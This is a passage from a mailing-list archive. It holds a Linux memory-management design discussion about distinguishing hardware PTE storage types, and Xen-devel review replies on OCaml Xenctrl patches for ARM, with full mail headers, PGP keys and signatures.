        Johannes Weiner <hannes@cmpxchg.org>, ziy@nvidia.com, pfalcato@suse.de,
        ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
        intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
        linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
        linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
        linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
        linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
        linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
Message-ID: <e3b6dd13-2cea-4dc5-9038-a3abde71ec10-agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
 <7813b5fe-e767-442c-a356-afc1a5c567ad-agordeev@linux.ibm.com>
 <6db0a8c0-b500-4364-be3d-d3a537c61258@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <6db0a8c0-b500-4364-be3d-d3a537c61258@kernel.org>
X-TM-AS-GCONF: 00
X-Proofpoint-ORIG-GUID: Dax4K8SnTqgr3j-xLBjPIG8yJ9gcxvKF
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI5MDA5MyBTYWx0ZWRfX/ftZ3NJRCmkt
 ZT14DTCChPW4KALpaDbSLe6kNr0LuWq5PiRiSqf5YTIEutfQ2Tac4sdllF74vXnFZSICYrQE0fL
 ZL/O65SEZjU3i6ZYCyIL5FE+JISdSFU=
X-Authority-Analysis: v=2.4 cv=E/z9Y6dl c=1 sm=1 tr=0 ts=6a69e797 cx=c_pps
 a=AfN7/Ok6k8XGzOShvHwTGQ==:117 a=AfN7/Ok6k8XGzOShvHwTGQ==:17
 a=kj9zAlcOel0A:10 a=RAioF0-LDSMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=RnoormkPH1_aCDwRdu11:22 a=RzCfie-kr_QcCd8fBx8p:22 a=VwQbUJbxAAAA:8
 a=yGtF1kJb5LocEaEl6I8A:9 a=CjuIK1q_8ugA:10
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI5MDA5MyBTYWx0ZWRfX/jm6YIwwiR1F
 lZXlePH3tA598H7Fb31vSIvPJoutJ+iSssAlIclxpQnCFqgsl/QXciOAhzwZ7FFazWWtvRVdlZ9
 TvRnRR/LIbBRyOBs37OfIHHcuSChvKVhl07RqZv9bpaqy+fPsLibBtb0+CX8Q1amoqeREdzT7LS
 45c/SPprx12OPqL4uwkj2S+LtICeW20WUFSc3OlbdqoEpxGRA12dmOFjaryENCnKW/xK1Jay/U1
 kC8ReZf28BJ12s4AmwDEQcWLd+44QFBJkS+P1wHLIwJa5nPrgSvB7j/BZoiN3neZKSKOtDNSj09
 Q6tFnfgRJpTk6CRkd5peVrkT93tDejNz3zvCXWL/dWWwVW8rI18kBZ3iQaIoQ6o8M4YCglsfenJ
 wdrKMTl/qwP8vRTkJCoONCRiVYcB8Qwu+P574F7wJpa5ktjFD5+6hw8BDY0mBPrkdR2pGPZzU/d
 eAJCrvqHF5YRoCZPBfw==
X-Proofpoint-GUID: Dax4K8SnTqgr3j-xLBjPIG8yJ9gcxvKF
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_04,2026-07-28_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 adultscore=0 priorityscore=1501 spamscore=0 clxscore=1015 phishscore=0
 lowpriorityscore=0 bulkscore=0 malwarescore=0 impostorscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607290093
X-purgate-ID: tlsNG-4011c0/1785325503-52CDBCFC-C35691FC/0/0
X-purgate-type: clean
X-purgate-size: 2443

On Wed, Jul 29, 2026 at 01:05:35PM +0200, David Hildenbrand (Arm) wrote:
> On 7/29/26 12:13, Alexander Gordeev wrote:
> > On Tue, Jul 28, 2026 at 09:26:06PM +0200, David Hildenbrand (Arm) wrote:
> >>> The generic definition aliases hw_pte_t to pte_t, so this series preserves
> >>> the representation and behaviour of every architecture. ptep_get() keeps
> >>> its existing READ_ONCE() semantics and converts the stored element through
> >>> __pte_from_hw(). An architecture can later define a distinct hw_pte_t and
> >>> convert its PTE interfaces to make the distinction compiler-enforced.
> >>> Architecture PTE implementations and most architecture code are
> >>> deliberately left for those later opt-in conversions.
> > ...
> >> Do you have a pointer at the arm64 part, so people can get a feeling for how an
> >> actual hw_pte_t implementation can look like.
> > 
> > May be we need the generic hw_pte_t implementation as { pte_t pte; }
> > right away?
> 
> Indeed, that makes sense. We just need a way for the architecture to opt-in that
> it did the conversion.
> 
> > 
> > Also, can you envision a case when sizeof(pte_t) != sizeof(hw_pte_t)?
> > If not, the compile-time check is worth adding.
> 
> That wouldn't work as is. We'd have to intercept ptep++ and instead have a
> helper to advance the ptep pointer.

I think I am missing the point. That is my takeaway from your previous mail:
https://lore.kernel.org/lkml/31d36023-d728-4eee-90f8-158c7066f565@kernel.org/

<quote>
>    {
>       page_table_check_ptes_set(mm, addr, ptep, pte, nr);
>       for (;;) {
>               set_pte(ptep, pte);
>               if (--nr == 0)
>                       break;
>   -           ptep++;
>   +           ptep = hw_pte_next(ptep);

We should really just let ptep++ work as before.

>               pte = pte_next_pfn(pte);
>       }
>    }
</quote>

So are we going after hw_pte_next(ptep) or ptep++?

> One idea for that would be to let the compiler catch that by marking hw_pte_t an
> undefined struct (unknown size), such that the compiler would indicate any usage
> of ptep++ properly.

What is the purpose of that? I mean when pte_t vs hw_pte_t uses are sorted
out what is the benefit of preventing hw_ptep++?

> That can be done when it would actually required, so as a first step having a
> generic hw_pte_t would just work.
> 
> -- 
> Cheers,
> 
> David

Thanks!


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:46:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:46:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375562.1622690 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2kN-0002Jn-Vh; Wed, 29 Jul 2026 11:46:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375562.1622690; Wed, 29 Jul 2026 11:46:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2kN-0002Jg-SX; Wed, 29 Jul 2026 11:46:51 +0000
Received: by outflank-mailman (input) for mailman id 1375562;
 Wed, 29 Jul 2026 11:46:50 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fadb2d454000e099@swg.vates.tech>)
 id 1wp2kM-0002Ja-92
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:46:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2kL-00A8wQ-Lp
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:46:49 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fadb2d454000e099@swg.vates.tech>)
 id 6a69e828-bab6-0a2a0a5309dd-0a2a4506ec46-10
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:46:49 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fadb2d454000e099@swg.vates.tech>)
 id 6a69e829-195a-0a2a45060019-b9ff1c2283f3-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:46:49 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fadb2d454000e099.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 11:46:45 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 26C5180FA4;
 Wed, 29 Jul 2026 13:46:45 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=niuzni8HprkTeMS2ky6SWUgDm9ed9hJ180k8/X0Ie6s=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=eYKkey8TyOUHnTbJ+jptxSPIi3JTFd1y+W0PTZZGQGO4CEEvCJ/q8WOnxyhO8ooxMrBM/DxGj
 squG/1K6di6zyNRYSShjz67FuunKqNiJak6oi/Jr2plpeYxE3tk/Rq2Uh74102z0NWoWKl8Km//
 +lWqKm7BqNohz8BVpx3+c2F6ZybVnPh8Z2USlfXnDIgSkmXhftzlkKTdEWr3natpCIoc/ydm8uE
 LTTv+fWEXjGUug2fsnlhtGK3RHAKOy76/XHCuWh/eX9XjKBIDlR5kx3nk1FTiHkkuTWIUjotOy6
 GddsgyoUzKsGNiuXsG0u74dcmOIssmcH3oSvhIZBA9ag==
X-Zone-Loop: 28e585e24ee679df89918143b2ccc4620344241d016d
x-campaign-type: default
x-transaction-id: c9669ce3-2c7b-4009-8b81-90c8291f1f9f
x-swg-uid: 01-3880eb5d-9598-4e36-8ea6-f36f0b9b1cbd
X-Mailer: Sweego
Message-ID:
 <1785325606.8631fc262581453bbf619ec5b2062170.19fadb2d454000e099@vates.tech>
x-swg-bid: 1785325606.8631fc262581453bbf619ec5b2062170.19fadb2d454000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 29 Jul 2026 13:46:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/2] tools/ocaml: Fix crash in
 Xenctrl.domain_getinfo{,list} on ARM
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Julian Vetter <julian.vetter@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-2-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqF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1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260728154830.67734-2-andrew.cooper3@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------8sQzzrI09qI4iylqGVeMcYtm"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785325605298
X-purgate-ID: tlsNG-16d1c6/1785325609-F480577B-C86EF3D3/0/0
X-purgate-type: clean
X-purgate-size: 6544

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------8sQzzrI09qI4iylqGVeMcYtm
Content-Type: multipart/mixed; boundary="------------b6BtqicTZPrIk6tvhvhfNCiq";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Julian Vetter <julian.vetter@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
Message-ID: <98d9faf7-ecf2-4c19-b44f-35f12b5f55ea@vates.tech>
Subject: Re: [PATCH 1/2] tools/ocaml: Fix crash in
 Xenctrl.domain_getinfo{,list} on ARM
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-2-andrew.cooper3@citrix.com>
In-Reply-To: <20260728154830.67734-2-andrew.cooper3@citrix.com>

--------------b6BtqicTZPrIk6tvhvhfNCiq
Content-Type: multipart/mixed; boundary="------------qIJoIFq0X8hBTMxf1KGE2D54"

--------------qIJoIFq0X8hBTMxf1KGE2D54
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMjgvMDcvMjAyNiDDoCAxNzo0OSwgQW5kcmV3IENvb3BlciBhIMOpY3JpdMKgOg0KPiBU
aGUgU3RvcmVfZ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VkaW5nIG1vcmUgbG9jYWwgdmFyaWFi
bGVzLg0KPiANCj4gUmVwb3J0ZWQtYnk6IEp1bGlhbiBWZXR0ZXIgPGp1bGlhbi52ZXR0ZXJA
dmF0ZXMudGVjaD4NCj4gU2lnbmVkLW9mZi1ieTogQW5kcmV3IENvb3BlciA8YW5kcmV3LmNv
b3BlcjNAY2l0cml4LmNvbT4NCg0KUmV2aWV3ZWQtYnk6IFRlZGR5IEFzdGllIDx0ZWRkeS5h
c3RpZUB2YXRlcy50ZWNoPg0KDQpJIGd1ZXNzIHRoYXQgcmVxdWlyZXMgdGhlIE9DYW1sIHVz
ZXIgc2lkZSB0byBiZSBhcHByb3ByaWF0ZWx5IHBhdGNoZWQgdG8gDQpub3QgZ2V0IGRhdGEg
aW4gdGhlIHdyb25nIG9yZGVyID8NCg0KVGVkZHkNCg==
--------------qIJoIFq0X8hBTMxf1KGE2D54
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPh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zEFRkKbYu6NCfiHfEyB3Xyg9hfdrRgj
MRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ovXoK4jm+Py0FiUGUa
A6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/eVtR2Q1w
ZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------qIJoIFq0X8hBTMxf1KGE2D54--

--------------b6BtqicTZPrIk6tvhvhfNCiq--

--------------8sQzzrI09qI4iylqGVeMcYtm
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpp6CQFAwAAAAAACgkQZg+p0QLLz9Ci
NQwAhQ7pBiuTDDDs7BoLE7GyPuZsHOUT5il3khVByrHl+nBnfVHkf+6O3vMuJ2EGrWEqWS5/NuHx
2c/UYjXPWEAP964d78Uqj7UjCdZW69jJrrdHWynquX72gpCXuA538VVWGninocKZuiv2MYQY8ePz
kuiju9/HApgDFEyCslth+Sy8GufPKxH+ZyenowSsfMAJ+7xbKQi/V7SOeI1atFHWsdDsk9i91z3U
8u1Io0INF1KbJ4XetkDavgmWgVFb+xN40A6mw+1IpRdBqAzHfJjqYg0YfEs7n7btb3uanbom++nF
ABTMJLUNuPTV0+S9PvPSgjrIvmpuFGcAnyQTcNRylm3xXi1RuL19AyJ6oWr+evsd4xQocGid43Uj
nwm1RG0owAbcUpdIylWh3gK9/saCAAGLn306MQFYlQNXYf/LD/H7mk7k1rhy4XRfsMvniYJZF/Li
8cvyI2MSfFw/kLPgnkFkyv6ZBsvGMHX7IXDqCJkPpwn4MS69D+F8TbFqen+o
=ipYy
-----END PGP SIGNATURE-----

--------------8sQzzrI09qI4iylqGVeMcYtm--


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:49:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:49:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375569.1622700 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2mv-0002uo-BE; Wed, 29 Jul 2026 11:49:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375569.1622700; Wed, 29 Jul 2026 11:49:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2mv-0002uh-7j; Wed, 29 Jul 2026 11:49:29 +0000
Received: by outflank-mailman (input) for mailman id 1375569;
 Wed, 29 Jul 2026 11:49:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp2mt-0002ub-AI
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:49:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2ms-00HMbZ-Ft
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:49:26 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fadb53164000e099@swg.vates.tech>)
 id 6a69e8b9-2eae-0a2a0a5409dd-0a2a450aa092-36
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:49:26 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fadb53164000e099@swg.vates.tech>)
 id 6a69e8c5-f2d2-0a2a450a0019-b9ff1c239c63-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:49:25 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fadb53164000e099.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 11:49:20 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 387488324E;
 Wed, 29 Jul 2026 13:49:20 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=nhwkFL+Vm1VhkGG32ZWF0YDP9sHNxn+GbwkuTf5UlaM=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=CFQTYlibGwv29OwaQFwdbqrSF00zthOWo3WTQ1Zxx7PSYJIXLDsiPW0kPiUJY2Ko8zmyoOrfd
 ZHl9jsRUx2J8HBxvA36J7h54A3Ecw5ZDk0V3zUjNzgabSG8BK+FOV7sVbgc/pSzoMrz499vicjv
 wIFzmt10U/mkQDEI5IXsyLYh+miX1zCsCT/eDT6b6aQ+o1ClntSCMnejN3wCkd4GFKotFODPmxU
 84OyUTpQZmMz7Z15kgoAxcwuysm8WxviXQI4sZF1W1Fqoml9F03w/oyZAQKGOjuIjFNf6DMihCo
 A3uXu/9d0uG86yuHsxNS1XncD565Jxnq5Wm1NxYA+UjA==
X-Zone-Loop: b46a30af3a5d36e44e62266020f81485fd0dfbf079cd
x-campaign-type: default
x-transaction-id: f95b4d50-07ff-49c1-9992-b553c29ada30
x-swg-uid: 01-e3c2f700-966a-46fc-9cbe-4bf1781c8d29
X-Mailer: Sweego
Message-ID:
 <1785325760.8631fc262581453bbf619ec5b2062170.19fadb53164000e099@vates.tech>
x-swg-bid: 1785325760.8631fc262581453bbf619ec5b2062170.19fadb53164000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 29 Jul 2026 13:49:19 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] tools/ocaml: Fill arch_config for ARM in
 domain_getinfo{,list}()
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Julian Vetter <julian.vetter@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-3-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKi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kULAbxFV5b/ExTjjGVHoX7CVhWxvCiTqCUoXZRkUE9C3FnkzEFRkKb
 Yu6NCfiHfEyB3Xyg9hfdrRgjMRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ov
 XoK4jm+Py0FiUGUaA6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/
 eVtR2Q1wZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
 IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260728154830.67734-3-andrew.cooper3@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------PFWvAyowB9eOfZItKnuErFLi"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785325760374
X-purgate-ID: tlsNG-4011c0/1785325765-53ED2CFC-807895C1/10/73395122804
X-purgate-type: spam
X-purgate-size: 7532

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------PFWvAyowB9eOfZItKnuErFLi
Content-Type: multipart/mixed; boundary="------------EqBmYZTjneX4A50KSdmRRxR0";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Julian Vetter <julian.vetter@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
